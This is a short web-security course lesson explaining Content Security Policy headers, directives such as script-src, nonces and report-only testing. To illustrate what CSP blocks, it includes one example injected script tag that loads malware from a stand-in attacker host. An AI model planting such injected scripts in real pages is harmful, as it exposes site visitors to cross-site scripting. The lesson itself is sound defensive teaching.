Course contentsShow
← Software Engineering
Lesson 1065 of 1,93332. Security EngineeringFree lesson

Content Security Policy (CSP)

Implementing CSP headers to restrict script sources and mitigate XSS impact through browser-enforced policies.

Content Security Policy (CSP)

You'll learn how to use CSP headers to tell browsers which scripts and resources they're allowed to execute, significantly reducing XSS attack impact.

What Is Content Security Policy?

Content Security Policy is a browser security feature that lets you declare which sources of content (scripts, styles, images, etc.) are legitimate for your web application. Even if an attacker manages to inject malicious code into your page, CSP instructs the browser to refuse executing any scripts that don't come from your approved sources.

Think of CSP as a bouncer at a nightclub: you give the bouncer a list of approved guests (trusted domains), and even if someone tries to sneak in through a back door (injected script), the bouncer checks the list and denies entry.

How CSP Works

You implement CSP by setting an HTTP response header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com

This policy tells the browser:

  • default-src 'self': By default, only load resources from the same origin as the page
  • script-src 'self' https://trusted-cdn.com: Only execute scripts from your own domain or the specified CDN

If an attacker injects <script src="https://evil.com/malware.js"></script>, the browser will refuse to execute it because evil.com isn't in your approved list.

Beyond Script Sources

CSP can control many resource types: style-src for CSS, img-src for images, connect-src for AJAX requests, and more. You can also use nonces or hashes to allow specific inline scripts while blocking others.

Important Considerations

Start with a Content-Security-Policy-Report-Only header to test your policy without breaking functionality. CSP reports violations so you can refine your policy before enforcing it.

Key Takeaway: Content Security Policy provides a powerful defense-in-depth layer against XSS by letting you explicitly whitelist legitimate content sources, making the browser enforce your security rules even when other defenses fail.